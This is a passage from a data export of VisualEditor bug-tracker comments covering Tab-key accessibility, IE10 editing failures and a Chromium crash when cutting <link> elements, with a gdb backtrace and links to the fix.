+wanted to mark the edit minor, then I could type my edit summary, press TAB,
+SPACE, and then ENTER to ""Save page"".
+
+I can see that the new box for entering an edit summary allows newlines to be
+entered. I am not sure this is a good idea, because I just used a WSYIWYG
+editor and now ""What I see"" - well-formatted paragraphs describing my edit - is
+not going to be ""what I get"" - everything smashed on one line in the article
+history. But that is perhaps grist for another bug mill.
+
+It seems that the ""Save page"" button never receives caret focus if I use TAB to
+try to get there. This would seem to have accessibility ramifications.",,,1374631714,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0,1,0,1,1,1,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+241471,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,*** Bug 51918 has been marked as a duplicate of this bug. ***,,,1374630794,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241466,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,*** Bug 51913 has been marked as a duplicate of this bug. ***,,,1374624457,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241462,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"It's not really an enhancement, since it is preventing proper accessibility. But so long as it is looked at and fixed, that's what really matters :)",,,1373244830,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+241455,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"attr( { role: 'button', tabIndex: 0 } ) and add return keypress events to all of them.
+
+Also dialogs should have role = dialog and buttons that pop up dialogs should have  aria-haspopup",,,1373229137,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1
+52045,VisualEditor: Right-click in IE10 causes deletion of the selected content,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371982260,1409959799.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-batdg3q5jwk7z4eeddgg,task_description,declined,True,c1,2,False,False,False,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+241353,VisualEditor: Right-click in IE10 causes deletion of the selected content,Totally conceivable that we fixed this in the past 15 months with the thousands of other changes (3683 since this point by my count). Marking as WORKSFORME.,,,1409959799,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-batdg3q5jwk7z4eeddgg,task_subcomment,,True,c1,3,True,,,61,,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+241347,VisualEditor: Right-click in IE10 causes deletion of the selected content,I can't reproduce this in IE10.,,,1409958482,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-batdg3q5jwk7z4eeddgg,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+241341,VisualEditor: Right-click in IE10 causes deletion of the selected content,"(In reply to This, that and the other (TTO) from comment #2)
+> Does not occur in IE11. Has an official decision been made on whether to
+> support IE <= 10?
+
+The ambition is to support IE9 and up; IE10 doesn't add much compared to IE9, but is probably a necessary stepping-stone. If it turns out to be too much work, we'll abandon efforts, but for now, yes, this is on the worklist.",,,1409441520,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-batdg3q5jwk7z4eeddgg,task_subcomment,,True,c1,3,True,,,60,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+241335,VisualEditor: Right-click in IE10 causes deletion of the selected content,Does not occur in IE11. Has an official decision been made on whether to support IE <= 10?,,,1409383011,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-batdg3q5jwk7z4eeddgg,task_subcomment,,True,c1,3,False,,,60,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+241330,VisualEditor: Right-click in IE10 causes deletion of the selected content,(Does this also apply to the first comment here? :) ),,,1377104512,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-batdg3q5jwk7z4eeddgg,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+52044,VisualEditor: Transclusion editor broken in IE10 (stack overflow),"In IE10, any attempt to open the transclusion editor leads to a stack overflow. 
+
+In the dev console I get this:
+
+--- 
+SCRIPT28: Out of stack space 
+load.php, line 46 character 700 [this location is different every time]
+
+SCRIPT5: Access is denied.
+load.php, line 305 character 273
+
+SCRIPT5: Access is denied.
+load.php, line 305 character 273
+
+SCRIPT5: Access is denied.
+load.php, line 305 character 273 
+[... ad infinitum]
+
+SCRIPT2343: Stack overflow at line: 46 [different every time]
+
+SCRIPT5: Access is denied.
+load.php, line 305 character 273
+---
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371982020,1409958003.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-2go6ew7f46vsl6ngyy7w,task_description,resolved,True,c1,2,False,False,False,-2,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+241294,VisualEditor: Transclusion editor broken in IE10 (stack overflow),This doesn't happen in IE10 with master.,,,1409958003,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2go6ew7f46vsl6ngyy7w,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+52043,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"1. Use Chrome 27 to edit [[Pancytopenia#External links]] in VE
+2. Try to cut the {{Commons category}} template (using Ctrl+X/Cmd+X or right click/Cut)
+
+The browser tab crashes.
+
+Seen on Windows and Mac.
+
+No idea how to find any debugging info about the crash.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1371979920,1377632908.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-6doqtsezbhohs5na7asr,task_description,resolved,True,c1,2,False,False,True,-2,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+241263,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,Fixed in master; will be deployed on Thursday as part of the regular push.,,,1377632908,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+241256,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"Change 81280 merged by jenkins-bot:
+Don't render <meta>/<link>/<style> tags in GeneratedContentNode
+
+https://gerrit.wikimedia.org/r/81280",,,1377628116,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+241247,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"Change 81280 had a related patch set uploaded by Catrope:
+Don't render <meta>/<link>/<style> tags in GeneratedContentNode
+
+https://gerrit.wikimedia.org/r/81280",,,1377627560,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+241240,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"Since <link> and <style> don't render in a useful way in the DOM (if they would ever be in wikitext, they'd be exported to VE as generated content or some other special thing that we can visualise and edit through an inspector or dialog)..
+
+It is fixed in Chromium 30.
+
+Updated summary to mention Chromium, not Chrome. This is likely affecting Opera 15 as well, for example.
+
+Since we don't want to 2 weeks for this to land in stable, and we can safely strip these out before we render them in CE in the first place, let's do that.",,,1375420043,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,4,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+241235,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"I think this is the patch that fixed it in Chrome 30:
+
+https://codereview.chromium.org/14995014
+https://trac.webkit.org/changeset/150402
+
+Which would mean that this is the upstream bug: 
+
+http://code.google.com/p/chromium/issues/detail?id=177470
+https://bugs.webkit.org/show_bug.cgi?id=116479",,,1375417683,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+241229,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"(In reply to comment #13)
+> @Tim: Which chromium version is the stacktrace from?
+
+It's the Ubuntu package version 28.0.1500.71-0ubuntu1.12.04.1",,,1375395098,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1
+241223,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"I can still reproduce this on https://en.wikipedia.org/wiki/Pancytopenia?veaction=edit#External_links with Chrome 28 (stable channel).
+
+However when testing on Chrome 30 (dev channel), I can no longer reproduce this.
+
+Confirmed that removing the [
+<link rel=​""mw:​WikiLink/​Category"" href=​""./​Category:​Commons_category_without_a_link_on_Wikidata"" data-parsoid=​""{""stx"":​""simple"",""a"":​{""href"":​""./​Category:​Commons_category_without_a_link_on_Wikidata""}​,""sa"":​{""href"":​""Category:​Commons category without a link on Wikidata""}​}​"" about=​""#mwt7"">​
+] tag from the {{commonscat}} template before cutting, prevents the crash.
+
+
+@Tim: Which chromium version is the stacktrace from?
+
+Filed upstream: https://code.google.com/p/chromium/issues/detail?id=267059",,,1375386614,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+241217,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"I'll try to isolate this to produce a minimal test case, see how we can work around it in VE, and report it to the Chrome people. It's not acceptable for a browser to segfault even on invalid HTML.",,,1375373236,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+241212,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,The node variable in frame 3 of my backtrace is indeed a <link> element.,,,1375349187,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1
+241207,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"It seems that this bug has to do with link html tag.
+
+In both examples (Pancytopenia and Lumpectomy) if I delete <link> node (using debug tools) from inside (in second example it is not a direct child) of the node to cut then when I'm cutting it browser tab does not crash anymore.
+
+Based on the w3c documentation it seems to me that we are using link tag incorrectly - value of attribute ""rel"" should be one of the values listed here http://www.w3schools.com/tags/tag_link.asp but in our case it is ""mw:WikiLink/Category"".
+
+In case of templates in VE we are simply rendering HTMLDOM that we are getting from Parsoid, so fixing it in Parsoid (not using link tag incorrectly) should solve this problem. (I'm making some assumptions here - it should be verified first in some sort of isolation - jsfiddle.)
+
+For now as a quick fix we can strip all link nodes when we are rendering template in the VE.",,,1375342206,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+241202,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"I think this is probably the most important bug in VE at the moment, and it's sad to see no progress being made on it, so I got a backtrace from stock Chromium in Ubuntu 12.04:
+
+Program received signal SIGSEGV, Segmentation fault.
+[Switching to Thread 0x7fffcd87e700 (LWP 2767)]
+WebCore::AppendNodeCommand::AppendNodeCommand (this=0x14b6f1e5eea0, parent=..., node=...)
+    at third_party/WebKit/Source/core/editing/AppendNodeCommand.cpp:39
+39	third_party/WebKit/Source/core/editing/AppendNodeCommand.cpp: No such file or directory.
+(gdb) bt
+#0  WebCore::AppendNodeCommand::AppendNodeCommand (this=0x14b6f1e5eea0, parent=..., node=...)
+    at third_party/WebKit/Source/core/editing/AppendNodeCommand.cpp:39
+#1  0x000055555752af66 in create (node=..., parent=...)
+    at third_party/WebKit/Source/core/editing/AppendNodeCommand.h:37
+#2  WebCore::CompositeEditCommand::appendNode (this=0x14b6f44c0800, node=..., parent=...)
+    at third_party/WebKit/Source/core/editing/CompositeEditCommand.cpp:372
+#3  0x0000555557535512 in WebCore::DeleteSelectionCommand::makeStylingElementsDirectChildrenOfEditableRootToPreventStyleLoss (this=0x14b6f44c0800) at third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp:431
+#4  0x0000555557538582 in WebCore::DeleteSelectionCommand::handleGeneralDelete (this=0x14b6f44c0800)
+    at third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp:445
+#5  0x000055555753a2e5 in WebCore::DeleteSelectionCommand::doApply (this=0x14b6f44c0800)
+    at third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp:836
+#6  0x00005555575273d2 in WebCore::CompositeEditCommand::apply (this=0x14b6f44c0800)
+    at third_party/WebKit/Source/core/editing/CompositeEditCommand.cpp:202
+#7  0x000055555725c6f4 in deleteSelectionWithSmartDelete (smartDelete=false, this=<optimized out>)
+    at third_party/WebKit/Source/core/editing/Editor.cpp:340
+#8  WebCore::Editor::deleteSelectionWithSmartDelete (this=<optimized out>, smartDelete=false)
+    at third_party/WebKit/Source/core/editing/Editor.cpp:335
+#9  0x000055555726498a in WebCore::Editor::cut (this=0x14b6f2019180)
+    at third_party/WebKit/Source/core/editing/Editor.cpp:982
+#10 0x000055555726c08f in executeCut (frame=0x14b6f2d5cc00, source=<optimized out>)
+    at third_party/WebKit/Source/core/editing/EditorCommand.cpp:301
+#11 WebCore::executeCut (frame=0x14b6f2d5cc00, source=<optimized out>)
+    at third_party/WebKit/Source/core/editing/EditorCommand.cpp:297
+#12 0x00005555569cd7ee in WebKit::WebFrameImpl::executeCommand (this=0x14b6f2d7ca80, name=..., value=...)
+    at third_party/WebKit/Source/WebKit/chromium/src/WebFrameImpl.cpp:1243
+#13 0x00005555583d50e1 in content::RenderViewImpl::handleCurrentKeyboardEvent (this=<optimized out>)
+    at content/renderer/render_view_impl.cc:2201
+#14 0x0000555556a155ba in WebKit::EditorClientImpl::handleKeyboardEvent (this=0x14b6f2bd45a0, evt=0x14b6f379f700)
+    at third_party/WebKit/Source/WebKit/chromium/src/EditorClientImpl.cpp:643
+#15 0x00005555573f9d13 in WebCore::EventHandler::defaultKeyboardEventHandler (this=0x14b6f1464c80, 
+    event=0x14b6f379f700) at third_party/WebKit/Source/core/page/EventHandler.cpp:3121
+#16 0x0000555556acdad8 in WebCore::Node::defaultEventHandler (this=0x14b6f40364e0, event=0x14b6f379f700)
+    at third_party/WebKit/Source/core/dom/Node.cpp:2546
+---Type <return> to continue, or q <return> to quit---
+#17 0x0000555556b13822 in dispatchEventPostProcess (preDispatchEventHandlerResult=0x0, this=0x7fffcd87bdb0)
+    at third_party/WebKit/Source/core/dom/EventDispatcher.cpp:208
+#18 WebCore::EventDispatcher::dispatch (this=0x7fffcd87bdb0)
+    at third_party/WebKit/Source/core/dom/EventDispatcher.cpp:127
+#19 0x0000555556b1337e in WebCore::EventDispatcher::dispatchEvent (node=<optimized out>, mediator=...)
+    at third_party/WebKit/Source/core/dom/EventDispatcher.cpp:56
+#20 0x0000555556ace21b in WebCore::Node::dispatchEvent (this=0x14b6f40364e0, event=...)
+    at third_party/WebKit/Source/core/dom/Node.cpp:2426
+#21 0x0000555556abd15d in WebCore::EventTarget::dispatchEvent (this=0x14b6f40364e0, event=..., ec=<optimized out>)
+    at third_party/WebKit/Source/core/dom/EventTarget.cpp:148
+#22 0x00005555573fc181 in WebCore::EventHandler::keyEvent (this=0x14b6f1464c80, initialKeyEvent=...)
+    at third_party/WebKit/Source/core/page/EventHandler.cpp:3006
+#23 0x00005555569f3ccb in WebKit::WebViewImpl::handleKeyEvent (this=0x14b6f2bd4500, event=...)
+    at third_party/WebKit/Source/WebKit/chromium/src/WebViewImpl.cpp:987
+#24 0x00005555569f743b in WebKit::WebViewImpl::handleInputEvent (this=0x14b6f2bd4500, inputEvent=...)
+    at third_party/WebKit/Source/WebKit/chromium/src/WebViewImpl.cpp:2024
+#25 0x00005555583f92b3 in content::RenderWidget::OnHandleInputEvent (this=0x14b6f2b41000, 
+    input_event=0x14b6f38f7898, is_keyboard_shortcut=true) at content/renderer/render_widget.cc:756
+#26 0x00005555583f7c5e in DispatchToMethod<content::RenderWidget, void (content::RenderWidget::*)(WebKit::WebInputEvent const*, bool), WebKit::WebInputEvent const*, bool> (method=<optimized out>, obj=0x14b6f2b41000, arg=...)
+    at ./base/tuple.h:553
+#27 Dispatch<content::RenderWidget, content::RenderWidget, void (content::RenderWidget::*)(WebKit::WebInputEvent const*, bool)> (func=
+    (void (content::RenderWidget::*)(content::RenderWidget * const, const WebKit::WebInputEvent *, bool)) 0x5555583f90e0 <content::RenderWidget::OnHandleInputEvent(WebKit::WebInputEvent const*, bool)>, obj=0x14b6f2b41000, msg=
+    0x14b6f38d9f88, sender=<optimized out>) at ./content/common/input_messages.h:39
+#28 content::RenderWidget::OnMessageReceived (this=0x14b6f2b41000, message=...)
+    at content/renderer/render_widget.cc:311
+#29 0x00005555583ed784 in content::RenderViewImpl::OnMessageReceived (this=0x14b6f2b41000, message=...)
+    at content/renderer/render_view_impl.cc:1124
+#30 0x00005555566c8fa8 in content::MessageRouter::RouteMessage (this=<optimized out>, msg=...)
+    at content/common/message_router.cc:49
+#31 0x0000555556651a8b in OnMessageReceived (msg=..., this=0x14b6f14bcb88) at content/common/child_thread.cc:271
+#32 content::ChildThread::OnMessageReceived (this=0x14b6f14bcb88, msg=...) at content/common/child_thread.cc:236
+---Type <return> to continue, or q <return> to quit---
+#33 0x00005555566280ba in IPC::ChannelProxy::Context::OnDispatchMessage (this=0x14b6f14bde00, message=...)
+    at ipc/ipc_channel_proxy.cc:261
+#34 0x0000555556296fae in Run (this=0x7fffcd87d958) at ./base/callback.h:396
+#35 base::MessageLoop::RunTask (this=0x7fffcd87da50, pending_task=...) at base/message_loop.cc:484
+#36 0x000055555629a70b in base::MessageLoop::DeferOrRunPendingTask (this=0x7fffcd87da50, pending_task=...)
+    at base/message_loop.cc:496
+#37 0x000055555629ad13 in DoWork (this=<optimized out>) at base/message_loop.cc:688
+#38 base::MessageLoop::DoWork (this=0x7fffcd87da50) at base/message_loop.cc:667
+#39 0x000055555629b459 in base::MessagePumpDefault::Run (this=0x14b6f149b7e0, delegate=0x7fffcd87da50)
+    at base/message_pump_default.cc:29
+#40 0x00005555562aa202 in base::RunLoop::Run (this=0x7fffcd87da10) at base/run_loop.cc:45
+#41 0x0000555556296444 in base::MessageLoop::Run (this=<optimized out>) at base/message_loop.cc:321
+#42 0x00005555562bb330 in base::Thread::ThreadMain (this=0x14b6f14a45a0) at base/threading/thread.cc:197
+#43 0x00005555562b8001 in base::(anonymous namespace)::ThreadFunc (params=0x14b6f0a23650)
+    at base/threading/platform_thread_posix.cc:95
+#44 0x00007ffff3df9e9a in start_thread (arg=0x7fffcd87e700) at pthread_create.c:308
+#45 0x00007ffff1ef0ccd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:112
+#46 0x0000000000000000 in ?? ()
+(gdb) info locals
+No locals.
+(gdb) up
+#1  0x000055555752af66 in create (node=..., parent=...)
+    at third_party/WebKit/Source/core/editing/AppendNodeCommand.h:37
+37	third_party/WebKit/Source/core/editing/AppendNodeCommand.h: No such file or directory.
+(gdb) info locals
+No locals.
+(gdb) up
+#2  WebCore::CompositeEditCommand::appendNode (this=0x14b6f44c0800, node=..., parent=...)
+    at third_party/WebKit/Source/core/editing/CompositeEditCommand.cpp:372
+372	third_party/WebKit/Source/core/editing/CompositeEditCommand.cpp: No such file or directory.
+(gdb) info locals
+No locals.
+(gdb) up
+#3  0x0000555557535512 in WebCore::DeleteSelectionCommand::makeStylingElementsDirectChildrenOfEditableRootToPreventStyleLoss (this=0x14b6f44c0800) at third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp:431
+431	third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp: No such file or directory.
+(gdb) info locals
+rootEditableElement = {m_ptr = 0x0}
+nextNode = {m_ptr = 0x14b6f3107ee0}
+range = {m_ptr = 0x14b6f3e7f980}
+node = {m_ptr = 0x14b6f2d83180}",,,1375340841,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
